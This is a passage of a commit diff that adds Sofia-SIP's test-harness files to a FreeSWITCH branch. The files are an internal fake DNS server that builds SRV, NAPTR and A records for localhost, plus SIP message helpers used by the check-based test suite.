+  assert(m->dlen < sizeof m->data);
+  m->data[m->dlen++] = '\0';
+}
+
+static void put_string(struct s2_dns_response *m, char const *string)
+{
+  uint8_t *p = m->data + m->dlen;
+  size_t len = strlen(string);
+
+  assert(len <= 255);
+  assert(m->dlen + len + 1 < sizeof m->data);
+
+  *p++ = (uint8_t)len;
+  memcpy(p, string, len);
+  m->dlen += len + 1;
+}
+
+static uint16_t put_len_at(struct s2_dns_response *m)
+{
+  uint16_t at = m->dlen;
+  assert(m->dlen + sizeof(at) < sizeof m->data);
+  memset(m->data + m->dlen, 0, sizeof(at));
+  m->dlen += sizeof(at);
+  return at;
+}
+
+static void put_len(struct s2_dns_response *m, uint16_t start)
+{
+  uint8_t *p = m->data + start;
+  uint16_t len = m->dlen - (start + 2);
+  p[0] = len >> 8; p[1] = len;
+}
+
+static void put_data(struct s2_dns_response *m, void const *data, uint16_t len)
+{
+  assert(m->dlen + len < sizeof m->data);
+  memcpy(m->data + m->dlen, data, len);
+  m->dlen += len;
+}
+
+static void put_query(struct s2_dns_response *m, char const *domain,
+		      uint16_t qtype)
+{
+  assert(m->header->mh_qdcount == 0);
+  put_domain(m, domain), put_uint16(m, qtype), put_uint16(m, sres_class_in);
+  m->header->mh_qdcount++;
+  m->qlen = m->dlen;
+}
+
+static void put_a_record(struct s2_dns_response *m,
+			 char const *domain,
+			 struct in_addr addr)
+{
+  uint16_t start;
+
+  put_domain(m, domain);
+  put_uint16(m, sres_type_a);
+  put_uint16(m, sres_class_in);
+  put_uint32(m, s2_dns_ttl);
+  start = put_len_at(m);
+
+  put_data(m, &addr, sizeof addr);
+  put_len(m, start);
+}
+
+static void put_aaaa_record(struct s2_dns_response *m,
+			    char const *domain,
+			    struct in6_addr addr)
+{
+  uint16_t start;
+
+  put_domain(m, domain);
+  put_uint16(m, sres_type_aaaa);
+  put_uint16(m, sres_class_in);
+  put_uint32(m, s2_dns_ttl);
+  start = put_len_at(m);
+
+  put_data(m, &addr, sizeof addr);
+  put_len(m, start);
+}
+
+static void put_cname_record(struct s2_dns_response *m,
+			     char const *domain,
+			     char const *cname)
+{
+  uint16_t start;
+
+  put_domain(m, domain);
+  put_uint16(m, sres_type_cname);
+  put_uint16(m, sres_class_in);
+  put_uint32(m, s2_dns_ttl);
+  start = put_len_at(m);
+
+  put_domain(m, cname);
+  put_len(m, start);
+}
+
+static void put_srv_record(struct s2_dns_response *m,
+			   char const *domain,
+			   uint16_t prio, uint16_t weight,
+			   uint16_t port, char const *target)
+{
+  uint16_t start;
+  put_domain(m, domain);
+  put_uint16(m, sres_type_srv);
+  put_uint16(m, sres_class_in);
+  put_uint32(m, s2_dns_ttl);
+  start = put_len_at(m);
+
+  put_uint16(m, prio);
+  put_uint16(m, weight);
+  put_uint16(m, port);
+  put_domain(m, target);
+  put_len(m, start);
+}
+
+static void put_naptr_record(struct s2_dns_response *m,
+			     char const *domain,
+			     uint16_t order, uint16_t preference,
+			     char const *flags,
+			     char const *services,
+			     char const *regexp,
+			     char const *replace)
+{
+  uint16_t start;
+  put_domain(m, domain);
+  put_uint16(m, sres_type_naptr);
+  put_uint16(m, sres_class_in);
+  put_uint32(m, s2_dns_ttl);
+  start = put_len_at(m);
+
+  put_uint16(m, order);
+  put_uint16(m, preference);
+  put_string(m, flags);
+  put_string(m, services);
+  put_string(m, regexp);
+  put_domain(m, replace);
+  put_len(m, start);
+}
+
+static void put_srv_record_from_uri(struct s2_dns_response *m,
+				    char const *base,
+				    uint16_t prio, uint16_t weight,
+				    url_t const *uri, char const *server)
+{
+  char domain[1024] = "none";
+  char const *service = url_port(uri);
+  uint16_t port;
+
+  if (uri->url_type == url_sips) {
+    strcpy(domain, "_sips._tcp.");
+  }
+  else if (uri->url_type == url_sip) {
+    if (url_has_param(uri, "transport=udp")) {
+      strcpy(domain, "_sip._udp.");
+    }
+    else if (url_has_param(uri, "transport=tcp")) {
+      strcpy(domain, "_sip._tcp.");
+    }
+  }
+
+  assert(strcmp(domain, "none"));
+
+  strcat(domain, base);
+
+  if (m->header->mh_qdcount == 0)
+    put_query(m, domain, sres_type_srv);
+
+  port = (uint16_t)strtoul(service, NULL, 10);
+
+  put_srv_record(m, domain, prio, weight, port, server);
+}
+
+static
+void s2_add_to_zone(struct s2_dns_response *_r)
+{
+  size_t size = offsetof(struct s2_dns_response, data[_r->dlen]);
+  struct s2_dns_response *r = malloc(size); assert(r);
+
+  memcpy(r, _r, size);
+  r->next = zonedata;
+  zonedata = r;
+}
+
+
+static void make_server(char *server, char const *prefix, char const *domain)
+{
+  strcpy(server, prefix);
+
+  if (strlen(server) == 0 || server[strlen(server) - 1] != '.') {
+    strcat(server, ".");
+    strcat(server, domain);
+  }
+}
+
+/** Set up records for SIP server */
+void s2_dns_domain(char const *domain, int use_naptr,
+		   /* char *prefix, int priority, url_t const *uri, */
+		   ...)
+{
+  struct s2_dns_response m[1];
+
+  char server[1024], target[1024];
+
+  va_list va0, va;
+  char const *prefix; int priority; url_t const *uri;
+  struct in_addr localhost;
+
+  assert(s2dns.reg != 0);
+
+  su_inet_pton(AF_INET, "127.0.0.1", &localhost);
+
+  va_start(va0, use_naptr);
+
+  if (use_naptr) {
+    memset(m, 0, sizeof m);
+    put_query(m, domain, sres_type_naptr);
+
+    va_copy(va, va0);
+
+    for (;(prefix = va_arg(va, char *));) {
+      char *services = NULL;
+
+      priority = va_arg(va, int);
+      uri = va_arg(va, url_t *);
+      if (uri == NULL)
+	continue;
+
+      if (uri->url_type == url_sips) {
+	services = "SIPS+D2T";
+	strcpy(target, "_sips._tcp.");
+      }
+      else if (uri->url_type == url_sip) {
+	if (url_has_param(uri, "transport=udp")) {
+	  services = "SIP+D2U";
+	  strcpy(target, "_sip._udp.");
+	}
+	else if (url_has_param(uri, "transport=tcp")) {
+	  services = "SIP+D2T";
+	  strcpy(target, "_sip._tcp.");
+	}
+      }
+
+      strcat(target, domain);
+      assert(services);
+      put_naptr_record(m, domain, 1, priority, "s", services, "", target);
+      m->header->mh_ancount++;
+    }
+
+    va_end(va);
+    va_copy(va, va0);
+
+    for (;(prefix = va_arg(va, char *));) {
+      priority = va_arg(va, int);
+      uri = va_arg(va, url_t *);
+      if (uri == NULL)
+	continue;
+
+      make_server(server, prefix, domain);
+
+      put_srv_record_from_uri(m, domain, priority, 10, uri, server);
+      m->header->mh_arcount++;
+
+      put_a_record(m, server, localhost);
+      m->header->mh_arcount++;
+    }
+    va_end(va);
+
+    s2_add_to_zone(m);
+  }
+
+  /* Add SRV records */
+  va_copy(va, va0);
+  for (;(prefix = va_arg(va, char *));) {
+    priority = va_arg(va, int);
+    uri = va_arg(va, url_t *);
+    if (uri == NULL)
+      continue;
+
+    make_server(server, prefix, domain);
+
+    memset(m, 0, sizeof m);
+    put_srv_record_from_uri(m, domain, priority, 10, uri, server);
+    m->header->mh_ancount++;
+
+    strcpy(server, prefix); strcat(server, domain);
+
+    put_a_record(m, server, localhost);
+    m->header->mh_arcount++;
+
+    s2_add_to_zone(m);
+  }
+  va_end(va);
+
+  /* Add A records */
+  va_copy(va, va0);
+  for (;(prefix = va_arg(va, char *));) {
+    (void)va_arg(va, int);
+    if (va_arg(va, url_t *) == NULL)
+      continue;
+
+    memset(m, 0, sizeof m);
+    make_server(server, prefix, domain);
+
+    put_query(m, server, sres_type_a);
+    put_a_record(m, server, localhost);
+    m->header->mh_ancount++;
+
+    s2_add_to_zone(m);
+  }
+  va_end(va);
+
+  va_end(va0);
+}
+
+/** Insert DNS response.
+
+  s2_dns_record("example.com", sres_type_naptr,
+		// order priority flags services regexp target
+		"", sres_type_naptr, 20, 50, "a", "SIP+D2U", "", "sip00",
+		"", sres_type_naptr, 20, 50, "a", "SIP+D2T", "", "sip00",
+		"", sres_type_naptr, 20, 50, "a", "SIPS+D2T", "", "sip00",
+		"sip00", sres_type_a, "12.13.14.15",
+		NULL);
+*/
+void s2_dns_record(
+  char const *qdomain, unsigned qtype,
+  /* unsigned atype, domain, */
+  ...)
+{
+  struct s2_dns_response m[1];
+  char const *domain;
+  va_list va;
+  unsigned atype;
+  unsigned ancount = 0, arcount = 0;
+
+  memset(m, 0, (sizeof m));
+
+  va_start(va, qtype);
+
+  put_query(m, qdomain, qtype);
+
+  for (domain = va_arg(va, char const *); domain; domain = va_arg(va, char const *)) {
+    if (!domain[0])
+      domain = qdomain;
+
+    if (strcmp(domain, "@") == 0)
+      domain = default_domain;
+
+    atype = va_arg(va, unsigned);
+
+    if (arcount == 0 &&
+	(atype == qtype || atype == sres_type_cname) &&
+	strcmp(qdomain, domain) == 0)
+      ancount++;
+    else
+      arcount++;
+
+    switch(atype) {
+    case sres_type_naptr:
+      {
+	unsigned order = va_arg(va, unsigned);
+	unsigned priority = va_arg(va, unsigned);
+	char const *flags = va_arg(va, char const *);
+	char const *services = va_arg(va, char const *);
+	char const *regexp = va_arg(va, char const *);
+	char const *target = va_arg(va, char const *);
+
+	put_naptr_record(m, domain, order, priority,
+			 flags, services, regexp, target);
+      }
+      break;
+    case sres_type_srv:
+      {
+	unsigned priority = va_arg(va, unsigned);
+	unsigned weight = va_arg(va, unsigned);
+	unsigned port = va_arg(va, unsigned);
+	char const *target = va_arg(va, char const *);
+
+	put_srv_record(m, domain, priority, weight, port, target);
+      }
+      break;
+    case sres_type_aaaa:
+#if SU_HAVE_IN6
+      {
+	char const *address = va_arg(va, char const *); /* target */
+	struct in6_addr aaaa;
+
+	inet_pton(AF_INET6, address, &aaaa);
+
+	put_aaaa_record(m, domain, aaaa);
+      }
+      break;
+#endif
+    case sres_type_a:
+      {
+	char const *address = va_arg(va, char const *); /* target */
+	struct in_addr a;
+
+	inet_pton(AF_INET, address, &a);
+
+	put_a_record(m, domain, a);
+      }
+      break;
+    case sres_type_cname:
+      put_cname_record(m, domain, va_arg(va, char const *));
+    }
+  }
+
+  m->header->mh_ancount = ancount;
+  m->header->mh_arcount = arcount;
+
+  s2_add_to_zone(m);
+
+  va_end(va);
+}

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2dns.h

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2dns.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2dns.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2dns.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2dns.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#ifndef S2DNS_H
+/** Defined when <s2dns.h> has been included. */
+#define S2DNS_H
+
+/**@internal @file s2dns.h
+ *
+ * @brief Internal DNS server for testing
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ */
+
+#include <sofia-sip/su_wait.h>
+
+SOFIA_BEGIN_DECLS
+
+void s2_dns_setup(su_root_t *root);
+void s2_dns_set_filter(int (*filter)(void *data, size_t len, void *userdata),
+		       void *userdata);
+void s2_dns_teardown(void);
+
+char const *s2_dns_default(char const *domain);
+
+extern uint32_t s2_dns_ttl;
+
+void s2_dns_domain(char const *domain, int use_naptr,
+		   /* char *prefix, int priority, url_t const *uri, */
+		   ...);
+
+void s2_dns_record(char const *domain, unsigned qtype,
+		   /* unsigned atype, domain, */
+		   ...);
+
+SOFIA_END_DECLS
+
+#endif /* S2DNS_H */

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2sip.c

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2sip.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2sip.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2sip.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2sip.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,818 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE s2sip.c
+ * @brief Check-Based Test Suite for Sofia SIP
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @date Created: Wed Apr 30 12:48:27 EEST 2008 ppessi
+ */
+
+#include "config.h"
+
+#undef NDEBUG
+
+#define TP_STACK_T struct s2sip
+#define TP_MAGIC_T struct tp_magic_s
+#define SU_ROOT_MAGIC_T struct s2sip
+
+#include "s2sip.h"
+#include "s2base.h"
+#include "s2dns.h"
+
+#include <sofia-sip/sip_header.h>
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/sip_tag.h>
+#include <sofia-sip/msg_addr.h>
+#include <sofia-sip/su_log.h>
+#include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/sresolv.h>
+
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+#include <limits.h>
+#include <time.h>
+
+
+/* -- Module types ------------------------------------------------------ */
+
+struct tp_magic_s
+{
+  sip_via_t *via;
+  sip_contact_t *contact;
+};
+
+/* -- Module prototypes ------------------------------------------------- */
+
+static msg_t *s2_msg(int flags);
+static int s2_complete_response(msg_t *response,
+				int status, char const *phrase,
+				msg_t *request);
+
+/* -- Module globals ---------------------------------------------------- */
+
+struct s2sip *s2sip;
+
+/* ---------------------------------------------------------------------- */
+
+char *
+s2_sip_generate_tag(su_home_t *home)
+{
+  static unsigned s2_tag_generator = 0;
+
+  return su_sprintf(home, "tag=%s-%s/%u", _s2_suite, _s2_case, ++s2_tag_generator);
+}
+
+/* ---------------------------------------------------------------------- */
+/* SIP messages */
+
+struct message *
+s2_sip_remove_message(struct message *m)
+{
+  if ((*m->prev = m->next))
+    m->next->prev = m->prev;
+
+  m->prev = NULL, m->next = NULL;
+
+  return m;
+}
+
+void
+s2_sip_free_message(struct message *m)
+{
+  if (m) {
+    if (m->prev) {
+      if ((*m->prev = m->next))
+	m->next->prev = m->prev;
+    }
+    msg_destroy(m->msg);
+    tport_unref(m->tport);
+    free(m);
+  }
+}
+
+void s2_sip_flush_messages(void)
+{
+  while (s2sip->received) {
+    s2_sip_free_message(s2sip->received);
+  }
+}
+
+struct message *
+s2_sip_next_response(void)
+{
+  struct message *m;
+
+  for (;;) {
+    for (m = s2sip->received; m; m = m->next) {
+      if (m->sip->sip_status)
+	return s2_sip_remove_message(m);
+    }
+    s2_step();
+  }
+}
+
+struct message *
+s2_sip_wait_for_response(int status, sip_method_t method, char const *name)
+{
+  struct message *m;
+
+  for (;;) {
+    for (m = s2sip->received; m; m = m->next) {
+      if (!m->sip->sip_status)
+	continue;
+
+      if (status != 0 && m->sip->sip_status->st_status != status)
+	continue;
+
+      if (method == sip_method_unknown && name == NULL)
+	break;
+
+      if (m->sip->sip_cseq == NULL)
+	continue;
+
+      if (m->sip->sip_cseq->cs_method != method)
+	continue;
+      if (name == NULL)
+	break;
+      if (strcmp(m->sip->sip_cseq->cs_method_name, name) == 0)
+	break;
+    }
+
+    if (m)
+      return s2_sip_remove_message(m);
+
+    s2_step();
+  }
+}
+
+int
+s2_sip_check_response(int status, sip_method_t method, char const *name)
+{
+  struct message *m = s2_sip_wait_for_response(status, method, name);
+  s2_sip_free_message(m);
+  return m != NULL;
+}
+
+int
+s2_check_in_response(struct dialog *dialog,
+		     int status, sip_method_t method, char const *name)
+{
+  struct message *m = s2_sip_wait_for_response(status, method, name);
+  s2_sip_update_dialog(dialog, m);
+  s2_sip_free_message(m);
+  return m != NULL;
+}
+
+struct message *
+s2_sip_next_request(sip_method_t method, char const *name)
+{
+  struct message *m;
+
+  for (m = s2sip->received; m; m = m->next) {
+    if (m->sip->sip_request)
+      if (method == sip_method_unknown && name == NULL)
+	return s2_sip_remove_message(m);
+
+    if (m->sip->sip_request->rq_method == method &&
+	strcmp(m->sip->sip_request->rq_method_name, name) == 0)
+      return s2_sip_remove_message(m);
+  }
+
+  return NULL;
+}
+
+struct message *
+s2_sip_wait_for_request(sip_method_t method, char const *name)
+{
+  return s2_sip_wait_for_request_timeout(method, name, (unsigned)-1);
+}
+
+struct message *
+s2_sip_wait_for_request_timeout(sip_method_t method, char const *name, unsigned steps)
+{
+  struct message *m;
+
+  for (; steps > 0; steps--, s2_step()) {
+    for (m = s2sip->received; m; m = m->next) {
+      if (m->sip->sip_request) {
+	if (method == sip_method_unknown && name == NULL)
+	  return s2_sip_remove_message(m);
+
+	if (m->sip->sip_request->rq_method == method &&
+	    strcmp(m->sip->sip_request->rq_method_name, name) == 0)
+	  return s2_sip_remove_message(m);
+      }
+    }
+  }
+
+  return NULL;
+}
+
+int
+s2_sip_check_request(sip_method_t method, char const *name)
+{
+  struct message *m = s2_sip_wait_for_request(method, name);
+  if (m) s2_sip_free_message(m);
+  return m != NULL;
+}
+
+int
+s2_sip_check_request_timeout(sip_method_t method,
+			     char const *name,
+			     unsigned timeout)
+{
+  struct message *m = s2_sip_wait_for_request_timeout(method, name, timeout);
+  if (m) s2_sip_free_message(m);
+  return m != NULL;
+}
+
+void
+s2_sip_save_uas_dialog(struct dialog *d, sip_t *sip)
+{
+  if (d && !d->local) {
+    assert(sip->sip_request);
+    d->local = sip_from_dup(d->home, sip->sip_to);
+    if (d->local->a_tag == NULL)
+      sip_from_tag(d->home, d->local, s2_sip_generate_tag(d->home));
+    d->remote = sip_to_dup(d->home, sip->sip_from);
+    d->call_id = sip_call_id_dup(d->home, sip->sip_call_id);
+    d->rseq = sip->sip_cseq->cs_seq;
+    /* d->route = sip_route_dup(d->home, sip->sip_record_route); */
+    d->target = sip_contact_dup(d->home, sip->sip_contact);
+  }
+}
+
+struct message *
+s2_sip_respond_to(struct message *m, struct dialog *d,
+		  int status, char const *phrase,
+		  tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+  msg_t *reply;
+  sip_t *sip;
+  su_home_t *home;
+  tp_name_t tpn[1];
+  char *rport;
+
+  assert(m); assert(m->msg); assert(m->tport);
+  assert(100 <= status && status < 700);
+
+  s2_sip_save_uas_dialog(d, m->sip);
+
+  ta_start(ta, tag, value);
+
+  reply = s2_msg(0); sip = sip_object(reply); home = msg_home(reply);
+
+  assert(reply && home && sip);
+
+  if (sip_add_tl(reply, sip, ta_tags(ta)) < 0) {
+    abort();
+  }
+
+  s2_complete_response(reply, status, phrase, m->msg);
+
+  if (sip->sip_status && sip->sip_status->st_status > 100 &&
+      sip->sip_to && !sip->sip_to->a_tag &&
+      sip->sip_cseq && sip->sip_cseq->cs_method != sip_method_cancel) {
+    char const *ltag = NULL;
+
+    if (d && d->local)
+      ltag = d->local->a_tag;
+
+    if (ltag == NULL)
+      ltag = s2_sip_generate_tag(home);
+
+    if (sip_to_tag(msg_home(reply), sip->sip_to, ltag) < 0) {
+      assert(!"add To tag");
+    }
+  }
+
+  if (d && !d->contact) {
+    d->contact = sip_contact_dup(d->home, sip->sip_contact);
+  }
+
+  *tpn = *tport_name(m->tport);
+
+  rport = su_sprintf(home, "rport=%u",
+		     ntohs(((su_sockaddr_t *)
+			    msg_addrinfo(m->msg)->ai_addr)->su_port));
+
+  if (s2sip->server_uses_rport &&
+      sip->sip_via->v_rport &&
+      sip->sip_via->v_rport[0] == '\0') {
+    msg_header_add_param(home, sip->sip_via->v_common, rport);
+  }
+
+  tpn->tpn_port = rport + strlen("rport=");
+
+  tport_tsend(m->tport, reply, tpn, TPTAG_MTU(INT_MAX), ta_tags(ta));
+  msg_destroy(reply);
+
+  ta_end(ta);
+
+  return m;
+}
+
+/** Add headers from the request to the response message. */
+static int
+s2_complete_response(msg_t *response,
+		     int status, char const *phrase,
+		     msg_t *request)
+{
+  su_home_t *home = msg_home(response);
+  sip_t *response_sip = sip_object(response);
+  sip_t const *request_sip = sip_object(request);
+
+  int incomplete = 0;
+
+  if (!response_sip || !request_sip || !request_sip->sip_request)
+    return -1;
+
+  if (!response_sip->sip_status)
+    response_sip->sip_status = sip_status_create(home, status, phrase, NULL);
+  if (!response_sip->sip_via)
+    response_sip->sip_via = sip_via_dup(home, request_sip->sip_via);
+  if (!response_sip->sip_from)
+    response_sip->sip_from = sip_from_dup(home, request_sip->sip_from);
+  if (!response_sip->sip_to)
+    response_sip->sip_to = sip_to_dup(home, request_sip->sip_to);
+  if (!response_sip->sip_call_id)
+    response_sip->sip_call_id =
+      sip_call_id_dup(home, request_sip->sip_call_id);
+  if (!response_sip->sip_cseq)
+    response_sip->sip_cseq = sip_cseq_dup(home, request_sip->sip_cseq);
+
+  if (!response_sip->sip_record_route && request_sip->sip_record_route)
+    sip_add_dup(response, response_sip, (void*)request_sip->sip_record_route);
+
+  incomplete = sip_complete_message(response) < 0;
+
+  msg_serialize(response, (msg_pub_t *)response_sip);
+
+  if (incomplete ||
+      !response_sip->sip_status ||
+      !response_sip->sip_via ||
+      !response_sip->sip_from ||
+      !response_sip->sip_to ||
+      !response_sip->sip_call_id ||
+      !response_sip->sip_cseq ||
+      !response_sip->sip_content_length ||
+      !response_sip->sip_separator ||
+      (request_sip->sip_record_route && !response_sip->sip_record_route))
+    return -1;
+
+  return 0;
+}
+
+/* Send request (updating dialog).
+ *
+ * Return zero upon success, nonzero upon failure.
+ */
+int
+s2_sip_request_to(struct dialog *d,
+		  sip_method_t method, char const *name,
+		  tport_t *tport,
+		  tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+  tagi_t const *tags;
+
+  msg_t *msg = s2_msg(0);
+  sip_t *sip = sip_object(msg);
+  url_t const *target = NULL;
+  sip_cseq_t cseq[1];
+  sip_via_t via[1]; char const *v_params[8];
+  sip_content_length_t l[1];
+  tp_name_t tpn[1];
+  tp_magic_t *magic;
+  int user_via = 0;
+
+  ta_start(ta, tag, value);
+  tags = ta_args(ta);
+
+  if (sip_add_tagis(msg, sip, &tags) < 0)
+    goto error;
+
+  if (sip->sip_request)
+    target = sip->sip_request->rq_url;
+  else if (d->target)
+    target = d->target->m_url;
+  else if (s2sip->sut.contact)
+    target = s2sip->sut.contact->m_url;
+  else
+    target = NULL;
+
+  if (target == NULL)
+    goto error;
+
+  if (!sip->sip_request) {
+    sip_request_t *rq;
+    rq = sip_request_create(msg_home(msg), method, name,
+			    (url_string_t *)target, NULL);
+    sip_header_insert(msg, sip, (sip_header_t *)rq);
+  }
+
+  if (!d->local && sip->sip_from)
+    d->local = sip_from_dup(d->home, sip->sip_from);
+  if (!d->contact && sip->sip_contact)
+    d->contact = sip_contact_dup(d->home, sip->sip_contact);
+  if (!d->remote && sip->sip_to)
+    d->remote = sip_to_dup(d->home, sip->sip_to);
+  if (!d->target && sip->sip_request)
+    d->target = sip_contact_create(d->home,
+				   (url_string_t *)sip->sip_request->rq_url,
+				   NULL);
+  if (!d->call_id && sip->sip_call_id)
+    d->call_id = sip_call_id_dup(d->home, sip->sip_call_id);
+  if (!d->lseq && sip->sip_cseq)
+    d->lseq = sip->sip_cseq->cs_seq;
+
+  if (!d->local)
+    d->local = sip_from_dup(d->home, s2sip->aor);
+  if (!d->contact)
+    d->contact = sip_contact_dup(d->home, s2sip->contact);
+  if (!d->remote)
+    d->remote = sip_to_dup(d->home, s2sip->sut.aor);
+  if (!d->call_id)
+    d->call_id = sip_call_id_create(d->home, NULL);
+  assert(d->local && d->contact);
+  assert(d->remote && d->target);
+  assert(d->call_id);
+
+  if (tport == NULL)
+    tport = d->tport;
+
+  if (tport == NULL)
+    tport = s2sip->sut.tport;
+
+  if (tport == NULL && d->target->m_url->url_type == url_sips)
+    tport = s2sip->tls.tport;
+
+  if (tport == NULL)
+    tport = s2sip->udp.tport;
+  else if (tport == NULL)
+    tport = s2sip->tcp.tport;
+  else if (tport == NULL)
+    tport = s2sip->tls.tport;
+
+  assert(tport);
+
+  *tpn = *tport_name(tport);
+
+  if (tport_is_primary(tport)) {
+    tpn->tpn_host = target->url_host;
+    tpn->tpn_port = url_port(target);
+    if (!tpn->tpn_port || !tpn->tpn_port[0])
+      tpn->tpn_port = url_port_default(target->url_type);
+  }
+
+  magic = tport_magic(tport);
+  assert(magic != NULL);
+
+  sip_cseq_init(cseq);
+  cseq->cs_method = method;
+  cseq->cs_method_name = name;
+
+  if (d->invite && (method == sip_method_ack || method == sip_method_cancel)) {
+    cseq->cs_seq = sip_object(d->invite)->sip_cseq->cs_seq;
+  }
+  else {
+    cseq->cs_seq = ++d->lseq;
+  }
+
+  if (sip->sip_via) {
+    user_via = 1;
+  }
+  else if (d->invite && method == sip_method_cancel) {
+    *via = *sip_object(d->invite)->sip_via;
+  }
+  else {
+    *via = *magic->via;
+    via->v_params = v_params;
+    v_params[0] = su_sprintf(msg_home(msg), "branch=z9hG4bK%lx", ++s2sip->tid);
+    v_params[1] = NULL;
+  }
+
+  sip_content_length_init(l);
+  if (sip->sip_payload)
+    l->l_length = sip->sip_payload->pl_len;
+
+  if (d->local->a_tag == NULL) {
+    char const *ltag = s2_sip_generate_tag(d->home);
+
+    if (sip_from_tag(d->home, d->local, ltag) < 0) {
+      assert(!"add To tag");
+    }
+
+    if (sip->sip_from && sip->sip_from->a_tag == NULL) {
+      if (sip_from_tag(msg_home(msg), sip->sip_from, ltag) < 0) {
+	assert(!"add To tag");
+      }
+    }
+  }
+
+  sip_add_tl(msg, sip,
+	     TAG_IF(!sip->sip_from, SIPTAG_FROM(d->local)),
+	     TAG_IF(!sip->sip_contact, SIPTAG_CONTACT(d->contact)),
+	     TAG_IF(!sip->sip_to, SIPTAG_TO(d->remote)),
+	     TAG_IF(!sip->sip_call_id, SIPTAG_CALL_ID(d->call_id)),
+	     TAG_IF(!sip->sip_cseq, SIPTAG_CSEQ(cseq)),
+	     TAG_IF(!user_via, SIPTAG_VIA(via)),
+	     TAG_IF(!sip->sip_content_length, SIPTAG_CONTENT_LENGTH(l)),
+	     TAG_IF(!sip->sip_separator, SIPTAG_SEPARATOR_STR("\r\n")),
+	     TAG_END());
+
+  msg_serialize(msg, NULL);
+
+  if (method == sip_method_invite) {
+    msg_destroy(d->invite);
+    d->invite = msg_ref_create(msg);
+  }
+
+  tport = tport_tsend(tport, msg, tpn, ta_tags(ta));
+  ta_end(ta);
+
+  if (d->tport != tport) {
+    tport_unref(d->tport);
+    d->tport = tport_ref(tport);
+  }
+
+  return tport ? 0 : -1;
+
+ error:
+  ta_end(ta);
+  return -1;
+}
+
+/** Save information from response.
+ *
+ * Send ACK for error messages to INVITE.
+ */
+int s2_sip_update_dialog(struct dialog *d, struct message *m)
+{
+  int status = 0;
+
+  if (m->sip->sip_status)
+    status = m->sip->sip_status->st_status;
+
+  if (100 < status && status < 300) {
+    d->remote = sip_to_dup(d->home, m->sip->sip_to);
+    if (m->sip->sip_contact)
+      d->contact = sip_contact_dup(d->home, m->sip->sip_contact);
+  }
+
+  if (300 <= status && m->sip->sip_cseq &&
+      m->sip->sip_cseq->cs_method == sip_method_invite &&
+      d->invite) {
+    msg_t *ack = s2_msg(0);
+    sip_t *sip = sip_object(ack);
+    sip_t *invite = sip_object(d->invite);
+    sip_request_t rq[1];
+    sip_cseq_t cseq[1];
+    tp_name_t tpn[1];
+
+    *rq = *invite->sip_request;
+    rq->rq_method = sip_method_ack, rq->rq_method_name = "ACK";
+    *cseq = *invite->sip_cseq;
+    cseq->cs_method = sip_method_ack, cseq->cs_method_name = "ACK";
+
+    sip_add_tl(ack, sip,
+	       SIPTAG_REQUEST(rq),
+	       SIPTAG_VIA(invite->sip_via),
+	       SIPTAG_FROM(invite->sip_from),
+	       SIPTAG_TO(invite->sip_to),
+	       SIPTAG_CALL_ID(invite->sip_call_id),
+	       SIPTAG_CSEQ(cseq),
+	       SIPTAG_CONTENT_LENGTH_STR("0"),
+	       SIPTAG_SEPARATOR_STR("\r\n"),
+	       TAG_END());
+
+    *tpn = *tport_name(d->tport);
+    if (!tport_is_secondary(d->tport) ||
+	!tport_is_clear_to_send(d->tport)) {
+      tpn->tpn_host = rq->rq_url->url_host;
+      tpn->tpn_port = rq->rq_url->url_port;
+    }
+
+    msg_serialize(ack, NULL);
+    tport_tsend(d->tport, ack, tpn, TAG_END());
+  }
+
+  return 0;
+}
+
+/* ---------------------------------------------------------------------- */
+/* tport interface */
+static void
+s2_sip_stack_recv(struct s2sip *s2,
+	      tport_t *tp,
+	      msg_t *msg,
+	      tp_magic_t *magic,
+	      su_time_t now)
+{
+  struct message *next = calloc(1, sizeof *next), **prev;
+
